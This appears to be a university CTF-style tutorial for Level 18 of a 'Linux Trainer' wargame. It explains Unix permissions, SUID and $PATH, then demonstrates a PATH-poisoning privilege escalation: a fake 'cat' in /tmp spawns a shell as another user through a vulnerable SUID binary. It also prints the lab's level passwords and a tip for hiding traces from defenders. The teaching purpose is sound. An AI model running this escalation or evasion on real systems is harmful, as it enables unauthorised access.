Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
1 contributor

Users who have contributed to this file

Linux Trainer, Level 18

This is a writup / tutorial for Level 18 of the Linux trainer. The level brings together several concepts, and allows us to make a privilege (privesc) exploit, changing the current user to one with more permissions.

While the example is a little contrived, Privesc is a common task in CTF (and pen testing) where we want to move from a low privileged user (usually from our foothold), to one with greater permissions. In a CTF it means we get more flags, in the real world it generally means we have greater control over the system.

The particular attack we are using here is called path poisoning, and gives us a nice way of running a user controlled file, rather than the expected system file.

Unix style permissions

The first concept we will revisit is permissions: (Taken from Level 16 of the Linux Trainer)

Access control is an important part of security. Allowing users access to only relevant files on the OS, means that multi-user systems can be possible.

One way that Linux deals with Access control, is through the use of file systems permissions.

Owners and Groups

Each file has permissions for three different categories of user.

  • Each file has an owner, the user that the file belongs to.
  • Users can be in a group a collection of users who should share permissions and settings. For example users in the sudoers group can use the sudo command to temporarily upgrade privileges.
  • Finally the world category, represents all users on the system.

File Access permissions

There are also three types of access permission.

  • read: users in this category can read the contents of this file
  • write: users with this permission can write the contents of this file
  • execute users with this permission can run the file

Viewing Permissions

Using ls -l, will show the permissions of files in long format. This includes information including the access permissions and owners for the file.

Each line of output will take the following form:

-rw-r--r-- 1 dang dang 0 Nov 26 13:43 bar.txt

Which can be broken down into

[Permissions] [Size] [Owner] [Group] [Date] [Filename]

Example

Consider the following

dang@dang-laptop /tmp/demo % ls -l
total 0
-rw-r--r-- 1 dang dang 0 Nov 26 13:43 bar.txt
-rwxr-xr-x 1 dang dang 0 Nov 26 13:43 baz.txt
-rw-r--r-- 1 ftp  root 0 Nov 26 13:43 foo.txt

We have the files

-bar.txt - Owner / Group dang - dang has read and write permissions - world / group have read permissions

  • baz.txt
    • Owner / Group dang
    • dang has read,write and execute permissions
    • world / group have read and execute permissions

-foo.txt - Owner ftp - Group root - ftp user has read and write permissions - world / group have read permissions

So permissions give us a nice way to restrict access to files on the system, and segreate who can access what. However...

\clearpage{}

The need to run commands as an Elevated user.

Obligatory XKCD Sudo Comic

One of the problems with a multi user system is access control and permissions. Giving every user administrative rights is an incredibly bad idea, so we tend to segregate users into "Standard" accounts and "Superusers" (root in Linux terminology). The standard user will be limited in what they can do, to prevent malicious (or accidental) damage to the system.

Its also a really bad idea, to run ANY account as Root by default, most of the time we shouldn't need superuser access for our day to day tasks, giving us another good reason to limit what people can do. One of the reasons I disagree with Kali's "root as default" user setup

Part of the solution to this problem is to create a new group of users who run as standard level accounts, but can run with elevated privileges when needed. The SUDO (Super User Do) command, allows members of this group to run a command as root. You will almost certainly have come across SUDO before during the course, when updating the system or running more interesting commands.

SUDO goes some way towards solving the problem of giving users the ability to have root privileges, without needing to be root, but still leaves us with a dilemma. Sometimes a common program will need to run with elevated privileges, for example if it need to access low level system resources, or privileged information.

Lets examine the common task of changing passwords. Evidently the file containing the hashed passwords should be secure, and only accessible by privileged users. However, if a user wants to change their own password we have a problem:

  • Either the unprivileged user needs to be able to access the password list (which makes securing it pointless)
  • Everybody who may change their password needs SUDO rights. (Which defeats the point of them in the first place)
  • The user would have to give their password to the systems admin to get it changed (Letting others know your password is also a bad thing)

So we need some way of allowing a user to temporary elevate their privileges to run a command.

Using Misconfigured services to elevate permissions

Ironically, it is this need to temporarily elevate privileges for a "good reason" that provides the opportunity for many privesc attacks.

Many of these problems come through the administrator not configuring the system correctly. This is easier that it appears, many commands have extra functionality that changes the way it behaves, or allow us to start secondary processes.

SUID to elevate permissions

OK: I lied when i talked about permissions earlier. As well as RWX there are some "special" permissions that can be used.

We cant give everyone with SUDO rights, and setting up the individual sudo permissions is a bit of a PITA when you get to thousands of users or very commonly used files.

Linux addresses this problem of everyone needing elevated privileges by using the SUID and SGID permissions flag. This is a special setting for the standard file permissions that allows a program to be run with the privileges of either the Owner (SUID) or Group (SGID).

Essentially this allows a user to run a program as a different user, and gives admins control over who (or what) can access files.

Lets use the passwd command as an example. This is owned by the root user, meaning it can access the privileged files required, but has the SUID bit set. This means that users can run the (well tested, and checked for security flaws) program as root allowing them to change their own password.

Lets check the permissions for /bin/passwd

$ ls -l /bin/passwd
-rwsr-xr-x 1 root root 63624 Jul 31 20:12 /bin/passwd

You can see we have the s flag in the Execute portion of the user. this shows that the SUID bit is set, and the program will run with the privileges of the user (in this case root)

Note: To see the elegance of 'Nix based systems, checkout the permissions for the sudo command. There is an octocat sticker whoever writes me the best explanation of whats going on here.

Given that SUID files allow us to run commands as a privileged user, they can often be the weak point that allows us to gain further control of a system. It is always worthwhile to see what SUID files are available on the system, using a tool like find, to look for anything unusual that could be an entrypoint.

\clearpage{}

The $PATH

When we want to run a system level command (for example ls) the OS needs to know where to find the executable we are looking for. We have a couple of options here:

  1. Hard Code all run-able commands (which is a silly idea, as it means we wouldn't be able to install anything)
  2. Hard Code the place where run-able commands are stored. (a less silly idea. However, we still lack some flexibility in where we can place executable, and it can lead to problems with "local user " installs, where a user can install their own version of a program), or where programs with a lot of executable (for example ```perl`` on my system) are used, and it makes sense to logically separate these into their own directory.
  3. Store the possible locations of the binary in some user level variable. This means that we get a decent level of flexibility in the global locations our system will look for executable, whilst also giving the user control of locations that software is installed locally.

The $PATH system variable tells Linux (and windows) systems where to find executable commands. Its a really useful thing, as it allows us to call commands like ls (/usr/bin/ls) or cat (/usr/bin/cat) from any directory without specifying the full path.

We can see the actual location of a binary in the fileystems using either which or whereis

$which ncat
/usr/bin/ncat

$whereis ncat
ncat: /usr/bin/ncat /usr/share/ncat /usr/share/man/man1/ncat.1.gz

When a command it called, the OS looks in each location specified in the $PATH for the command and executes the first match it comes across.

NOTE: This can be the source of trolling, I updated python on my system with a manually compiled version. However, the installer file placed it lower in the $PATH than the original python. There was about half an hour of Cussing, while the system kept running the old version.

$PATH consists of a list of locations separated by colons, For example the $PATH on my system looks like this

$echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/lib/jvm/default/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl

Therefore when I call a command, the system looks in:

  • /usr/local/sbin
  • /usr/local/bin
  • /usr/bin
  • ...
  • /usr/bin/core_perl

As we step through each directory, if the request file is found it is executed and the search ends. Lets say we are looking for ncat (which lives in /usr/bin) we get:

  • /usr/local/sbin (Fails)
  • /usr/local/bin (Fails)
  • /usr/bin (Success, Run command and Exit)

NOTE: As a point of interest, this is why we usually have to run ./ if we are executing a file in the current working directory.

If we specify a full path (either absolute or relative) to the file. The OS will look in that location (and only that location). Otherwise, the OS makes use of the $PATH variable to look for the relevant file. As the current directory is unlikely to be in the $PATH, then the system is unable to find the command. We also know that "." is a special path, representing the current directory. Therefore "./" is an (relative) path, which means that the current directory it the first and only place we look.

Modifying the path.

As a system variable, we can modify the path in user space. There are two ways of doing this:

The first approach is to use the EXPORT command to set the path for that terminal session.

EXPORT PATH=<whatever>

So to set the $PATH to be /tmp we could use EXPORT PATH=/tmp

We hit our first Gotcha here. This command will set the $PATH to be only tmp, which means all the usual places are removed and the OS cannot find anything. A much better approach is to prepend the desired directory to the current path using

EXPORT PATH=<whatever>:$PATH

#For example prepend /tmp
EXPORT PATH=/tmp:$PATH

The other approach is to set the path on a "per command" basis. I much prefer this as it means we are not leaving traces of the modified path lying around for the blue team to find. We can do this by calling the PATH string before our command.

PATH=/tmp:$PATH <program>

\clearpage{}

Putting it all Together.

We have introduced a load of concepts there. Lets put them together and see how we can make use of them to exploit a system.

For this I will walk through level18 on the Linux trainer.

  • username: level18
  • password: 0ad360e45e0ab518ed1c01dc5bfdde20
$ ssh level18@172.17.0.3
level18@172.17.0.3's password: 
Linux 18f7df960aa1 5.3.5-arch1-1-ARCH #1 SMP PREEMPT Mon Oct 7 19:03:08 UTC 2019 x86_64
######################################################################

CUEH Linux Tranier V0.1

A war game style challenge to help you learn the basics of the Linux
command line.

The Documentation for (almost) every level is contained within a man
page.  You can view this using the command **man**

For example, to see the documetation for level1 type

$man level1


comments, or suggestions for levels to aa9863@coventry.ac.uk

Have fun.
#####################################################################
level18@18f7df960aa1:~$ 

Finding the Vulnerable File: Permissions

If we look at the contents of the current directory, we see what we have to work with.

level18@18f7df960aa1:~$ ls -l
total 32
-r-------- 1 elev18  elev18     36 Apr 23 09:52 File.txt
-r-------- 1 elev18  elev18     64 Apr 23 09:52 Pass.txt
---s--x--x 1 elev18  level18 16624 Apr 23 09:52 runme
-rwxr--r-- 1 level18 level18   141 Apr 23 09:52 source.c
level18@18f7df960aa1:~$ 

Paying attention to the permissions here we have:

  • two files that we cannot access:
    • A text file called File.txt that is Owned (and only readable) by the elev18 user
    • A text file called Pass.txt that is Owned (and only readable) by the elev18 user
  • An executable runme, which is owned by the elev18 user, and will run with SUID permissions.
  • The source code for our Runme program source.c which we can read.

Awesome, we have the first piece of our puzzle. Executable with SUID permissions, that may (and as its a CTF box, its likely), have a vulnerability.

Lets run the program and see what happens.

level18@18f7df960aa1:~$ ./runme 
Attempting to access file:
Access Pass.txt to get the password

So, the program output shows the code access a file, then displays a help message to push us in the right direction.

Looking at the source

Next lets examine the source code for the binary in source.c (OK, we wont usually find the source, but this is the first couple of weeks, so I am being generous, We could however use strings or objdump to try to work out what is going on)

level18@18f7df960aa1:~$ cat source.c 
#include <stdio.h>
#include <stdlib.h>

void main(void){
  printf("Attempting to access file:\n");
  system("cat /home/level18/File.txt");
}

If we cross reference that against the output of the program, its clear what is going on.

  • printf("Attempting to access file:\n"); Display a message to the screen
  • system("cat /home/level18/File.txt"); Use the dreaded system call to access a file.

Now, our developer has done something right, by hard-coding the address of the file we are trying to access. However, they have made a mistake in the way the cat function is being called. By not specifying a full path to the file, they are relying on the OS using the $PATH to find the program. As we can control the $PATH, then we may have a way to modify the behaviour of the code.

NOTE: This isn't something you will find that often. However, sometimes a developer try's to make the program "platform independent" (as there is still no agreement on which /bin directory things go in), which gives us a way in.

Therefore our proof of concept attack looks something like this:

  1. Create our own version of cat, that does something interesting
  2. Modify the $PATH so our version of cat is the first one that is found
  3. .....
  4. Profit

Getting A Cat to do what we want it to do

Before we drop a shell, lets create a less evil cat (Mr tiddles) to help illustrate what is going to happen.

We create the file in the /tmp directory (You can use anywhere, but /tmp is a good habit to get into, firstly it gets wiped on reset, and secondly on CTF's like hack the box, its less likely to be interfered with than doing it in user. Personally, on HTB I do most of my work in /tmp/.dang/)

We pick a command such as id and add it to a file called /tmp/cat

#Find the full path to id
level18@18f7df960aa1:~$ which id
/usr/bin/id

#Echo it to a file.  Quotes are important here! (You could also use Nano)
level18@18f7df960aa1:~$ echo "/usr/bin/id" > /tmp/cat

#Check that things worked properly
level18@18f7df960aa1:~$ cat /tmp/cat 
/usr/bin/id

We then make our new version of cat executable, and check it works as expected.

level18@18f7df960aa1:~$ chmod +x /tmp/cat 
level18@18f7df960aa1:~$ /tmp/cat 
uid=1019(level18) gid=1019(level18) groups=1019(level18)
level18@18f7df960aa1:~$

NOTE: If you have any experience with Cats for the furry kind, This is probably the first time a cat has actually done what you want it to.

Cool, so we have a program called cat that runs the id command. Now lets try running it with a modified path, where the /tmp is the first location

level18@18f7df960aa1:~$ PATH=/tmp:$PATH cat
uid=1019(level18) gid=1019(level18) groups=1019(level18)
level18@18f7df960aa1:~$ 

Or alternatively, perma setting the $PATH

level18@18f7df960aa1:~$ export PATH=/tmp:$PATH
level18@18f7df960aa1:~$ cat
uid=1019(level18) gid=1019(level18) groups=1019(level18)

So whats happening here:

  1. Cat command is called, as no path is specified the OS uses the system $PATH
  2. First place in the $PATH is /tmp Which contains a program called cat
  3. OS runs this version of cat and stops its search, without going anywhere near the intended program.

We can now check what happens if we run our vulnerable file, using the modified version of cat, and $PATH

$ PATH=/tmp:$PATH ./runme 
Attempting to access file:
uid=1019(level18) gid=1019(level18) euid=1020(elev18) groups=1019(level18)
level18@18f7df960aa1:~$ 

This time, we have different behaviour from the ID command, which displays the euid (Effective User Id) as elev18. Cool, so we are now able to run the id command as a different user.

Getting a shell

It would be no fun if we didn't use our exploit to get a shell.

We modify /tmp/cat to call /bin/sh shell (NOTE: /bin/bash will not work. You may want to check the manpage for system to work out why this is.)

level18@18f7df960aa1:~$ cat /tmp/cat 
/bin/sh

Now in theory, our program will

  • Search the path for cat
  • Find our evil version in /tmp
  • Execute the contents of the file as the elev18 user
    • Which means we get a new shell as the elev18 user
level18@18f7df960aa1:~$ PATH=/tmp:$PATH ./runme
Attempting to access file:
$ whoami
elev18
$ id
uid=1019(level18) gid=1019(level18) euid=1020(elev18) groups=1019(level18) 

We get the sh prompt ($) and can confirm we are the elev18 user with whoami.

Reading the file from our privileged shell, The problem of nested Cats

There is a final bit of Trolling / Learning before we can access the flag file.

You may notice if we try to access the file using cat as we have before, nothing happens

$ ls
File.txt  Pass.txt  runme  source.c
$ cat Pass.txt
$ 

This is (again) due to the $PATH. As we have set it per command session then /tmp remains at the start of the path. Therefore any call to cat will call our evil version at /tmp/cat, which then drops another sh shell.

You can see from the process list, that after a couple of times, we have several shell processes spawned.

USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
elev18        48  0.0  0.0   4168   588 pts/0    S    21:20   0:00 ./runme
elev18        49  0.0  0.0   4276   792 pts/0    S    21:20   0:00 sh -c cat /home/level18/File.txt
elev18        50  0.0  0.0   4276   752 pts/0    S    21:20   0:00 /bin/sh /tmp/cat /home/level18/F
elev18        51  0.0  0.0   4276   736 pts/0    S    21:20   0:00 /bin/sh
elev18        55  0.0  0.0   4276   744 pts/0    S    21:23   0:00 /bin/sh /tmp/cat Pass.txt
elev18        56  0.0  0.0   4276   744 pts/0    S    21:23   0:00 /bin/sh
elev18        58  0.0  0.0  36632  2844 pts/0    R+   21:25   0:00 ps -ux
$ 

We can work around this in several ways. Either using an alternative program (such as less or nano) to access the flag file, of make a call to the original version of cat using a full path

$ whereis cat
cat: /bin/cat /tmp/cat /usr/share/man/man1/cat.1.gz
$ /bin/cat Pass.txt
Password for the next level is 84d284bda556887dfe827bb9ddba6cc1
$ 

Summary:

This was a walkthrough of Level 18 of the Linux trainer, and the Theory behind the attack

Path poisoning is where we take advantage of a poorly written program and modify its behaviour. It occurs because the developer has not hard coded paths to executable, instead relying on the systems $PATH variable to find the desired program.

As the $PATH is controllable by the user, we can change where the OS looks for the system command the developer was wanting to call.

By creating our own version of the system command, and putting its location at the start of the $PATH, we can get the OS to execute other programs, this will usually be a shell, but could also be used to get data from protected parts of the system, or other such fun things.

We also took advantage of the binary having the SUID bit set to get an elevated shell, running as a different user.

Our proof of concept for the Exploit was

  1. Identify Interesting Binaries on the file system
  • Those with SUID bit set
  • Those that make use of the System() call
  1. Check these for Vulnerabilities
  • Non hardcoded paths for System
  1. Create a modified version of the command in the System() call
  • In this case it was cat
  1. Run our program using a modified path to call our version of the command
  2. Profit

\clearpage{}

Trolled by Permissions: An Alternate approach to getting the flag

To demonstrate how easy it is to make the mistakes that allow people to access restricted files, try the following:

#Delete File
level18@18f7df960aa1:~$ rm File.txt
rm: remove write-protected regular file 'File.txt'? y

#Overwrite with Pass.txt
level18@18f7df960aa1:~$ mv Pass.txt File.txt

#Check permissions and Access
level18@18f7df960aa1:~$ ls -l 
total 28
-r-------- 1 elev18  elev18     64 Apr 23 09:52 File.txt
---s--x--x 1 elev18  level18 16624 Apr 23 09:52 runme
-rwxr--r-- 1 level18 level18   141 Apr 23 09:52 source.c
level18@18f7df960aa1:~$ cat File.txt 
cat: File.txt: Permission denied
level18@18f7df960aa1:~$ 

#Run our Program
level18@18f7df960aa1:~$ ./runme 
Attempting to access file:
Password for the next level is 84d284bda556887dfe827bb9ddba6cc1
level18@18f7df960aa1:~$ 

So even though we don't have permission to delete, or modify File.txt or Pass.txt, we are able to. Why is this??

Read about the inode permissions on directory's and try to find out.

Further Reading.